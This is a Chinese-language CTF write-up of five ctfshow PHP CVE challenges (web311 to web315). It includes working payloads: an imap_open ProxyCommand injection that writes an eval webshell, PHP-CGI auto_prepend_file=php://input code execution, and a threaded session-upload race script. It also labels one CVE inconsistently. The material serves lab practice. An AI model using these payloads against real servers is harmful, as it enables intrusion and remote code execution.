这里来记录一下ctfshow|全部phpCVE(web311,web312,web313,web314,web315)的过程
小水一下
首先打开题目进行抓包:
可以看到有用的信息:
我们直接去查找相关的CVE漏洞
找到的大多数就是CVE-2019-11043
CVE-2019-11043漏洞介绍
纰漏:Addressing the PHP-FPM Vulnerability (CVE-2019-11043) with NGINX – NGINX
漏洞原因:
该漏洞位于PHP-FPM模块的env_path_info函数,在特定的nginx + php-fpm配置中,web用户就可能会进行代码执行。该漏洞需要在nginx.conf中进行特定配置才能触发。使用%0a(换行符)来破坏正则,从而使得PATH_INFO为空
location ~ [^/]\.php(/|$) { ... fastcgi_split_path_info ^(.+?\.php)(/.*)$; fastcgi_param PATH_INFO $fastcgi_path_info; fastcgi_pass php:9000; ... }
漏洞范围
在 Nginx + PHP-FPM 环境下,当启用了上述 Nginx 配置后,以下 PHP 版本受本次漏洞影响,另外,PHP 5.6版本也受此漏洞影响,但目前只能 Crash,不可以远程代码执行:
PHP 7.0-7.3 版本
首先以CTFSHOW平台web311题目作为环境
利用POC(提前有GO环境)
neex/phuip-fpizdam: Exploit for CVE-2019-11043 (github.com)
get github.com/neex/phuip-fpizdam
然后
cd phuip-fpizdamgo get -v && go build
执行:
go run . url/index.php
返回比较慢 正常情况应该是
然后就可以执行回显flag啦
首先看题目打开页面
常规来说 第一步先看标头信息
和上一题打法相同 先去查找PHP版本的CVE
X-Powered-By显示php版本为5.6.38
经过查找 确认漏洞为CVE-2018-19935
漏洞详细参考:
NVD – CVE-2018-19518 (nist.gov)
简介:
php imap扩展用于在PHP中执行邮件收发操作。其imap_open函数会调用rsh来连接远程shell,而debian/ubuntu中默认使用ssh来代替rsh的功能(也就是说,在debian系列系统中,执行rsh命令实际执行的是ssh命令)。因为ssh命令中可以通过设置-oProxyCommand=来调用第三方命令,攻击者通过注入注入这个参数,最终将导致命令执行漏洞。
首先漏洞成因可自己搜索 不过这里需要了解
什么是IMAP:
邮件访问协议!IMAP协议解析 – 知乎 (zhihu.com)
参考:如何利用imap绕过PHP中的disable_functions(CVE-2018-19518)|NOSEC安全讯息平台 – 白帽汇安全研究院
CVE-2018-19518 PHP imap_open函数任意命令执行漏洞复现 – biiNG# – 博客园 (cnblogs.com)
参考利用可知ssh命令中可以通过设置-oProxyCommand=来调用第三方命令 攻击者通过注入注入这个参数 最终将导致命令执行漏洞
这种执行比较简单 这题目也有好几种思路 总之就是构建执行语句 发送请求 服务器就会响应
这里我们用写入shell的方法
通过参考给出的POC
hostname=x+-oProxyCommand%3decho%09通过base64加密过的执行语句|base64%09-d|sh}
我们将一句话木马
经过base64编码得到
PD9waHAgZXZhbCgkX1BPU1RbaGVsbG9dKTs/Pg==
使用echo执行解码并且写入shell语句
echo "PD9waHAgZXZhbCgkX1BPU1RbaGVsbG9dKTs/Pg==" | base64 -d >/var/www/html/s7.php
因为我们要通过头部传输 所以应该将上面的代码先结果base64编码在转换为url编码
hostname=x+-oProxyCommand%3decho%09ZWNobyAiUEQ5d2FIQWdaWFpoYkNna1gxQlBVMVJiYUdWc2JHOWRLVHMvUGc9PSIgfCBiYXNlNjQgLWQgPi92YXIvd3d3L2h0bWwvczcucGhw|base64%09-d|sh}
通过burpsuite写入
用中国蚂蚁剑链接
注意:这里的编码解码应该设置为bese64
拿到flag
首先 还是常规思路 找到PHP版本 去搜索对应的都有那些漏洞
PHP的版本为5.4.1 做这道题目的时候 前期不是那么顺利 因为自己在找的过程重发现这一版本纯在很多漏洞,而且有一些难以验证 所以浪费了一些时间 不过在这个过程中也学到了许多 其中还包含了相对常见的两个漏洞
CVE-2015-2348
CVE-2019-11043
当时确实没有想到那么早的
详情可以参考P神的PHP-CGI远程代码执行漏洞(CVE-2012-1823)分析 | 离别歌 (leavesongs.com)
利用也可以参考CVE-2012-1823漏洞复现_muddlelife的博客-CSDN博客
url/index.php?-s如果可以爆出来源码 说明漏洞纯在
那么,可控命令行参数,能做些什么事。
发现cgi模式下有如下一些参数可用:
-c
指定php.ini文件的位置
-n
不要加载php.ini文件
-d
指定配置项
-b
启动fastcgi进程
-s
显示文件源码
-T
执行指定次该文件
-h
和-?
显示帮助
根据
当然也有很多其他的办法 我尝试了很多都不行 看了hint 通过构造cgi中参数达到命令执行的目的 在这题目我使用MSF进行执行 但是却返回了错误
那就用auto_prepend_file
来制造任意文件包含漏洞。
-d allow_url_include=on -d auto_prepend_file=php://input
然后就可以远程代码执行了
这里又遇到一个问题 我不知道flag在哪里 无法反弹shell 应该是没有权限 我也不想在这里浪费太多时间
开始翻翻看
如果不出意外 flag就在somewhere文件中(中间靶场掉了一次 重新打开了)
打开这道题目 显示
因为过滤了: 所以不能用伪协议了 不过这道题目方法还是蛮多的
可以使用PHP_SESSION_UPLOAD_PROGRESS文件包含,去执行命令
因为使用的是Nginx 服务器 所以默认日志文件路径为/var/log/nginx/access.log
然后写了好几次shell 不清楚为什么没写入
查看phpinfo
发现session上传文件
利用一下四代机您发多少师傅写的脚本
# coding=utf-8
import requests
import io
import threading
url = 'url/'
def write(session):#
data = {
'PHP_SESSION_UPLOAD_PROGRESS':''
}#传个一句话木马
while event.isSet():
f = io.BytesIO(b'a'*1024*50)
session.post(url,cookies={'PHPSESSID':'flag'},data=data,files={'file':('harker.txt',f)})
def read(session):
data = {'harker':'system("ls");'}#利用一句话木马
while event.isSet():
response = session.post(url+'?f=/tmp/sess_flag',data=data)#这里十post请求,就是这里我搞错了,弄的我反复检查!
if 'harker.txt' in response.text:#判断
print(response.text)
event.clear()#终止进程
break
else:
pass
if __name__=='__main__':
event = threading.Event()
event.set()
with requests.session() as session:
for i in range(10):#开启十条进程
threading.Thread(target=write,args=(session,)).start()
for i in range(10):
threading.Thread(target=read,args=(session,)).start()
成功写入
打开前 看到hint
debug开启,端口9000
说明这就是个与debug相关的漏洞
搜索一下XDebug 远程调试漏洞
XDebug是PHP的一个扩展,用于调试PHP代码。如果目标开启了远程调试模式,并且设置
remote_connect_back = 1:
xdebug.remote_connect_back = 1
xdebug.remote_enable = 1
相关资料参考P神
vulhub/php/xdebug-rce at master · vulhub/vulhub (github.com)
利用给出的脚本 在公网服务器上执行就可以了
vulhub/exp.py at master · vulhub/vulhub · GitHub
phpCVE全部结束
在实战中或者在做相关的题目的过程中 要灵活的运用搜索引擎
注意PHP版本 查看相关系统版本 传输头部信息 以及漏洞的产生组件,相关函数,配置等。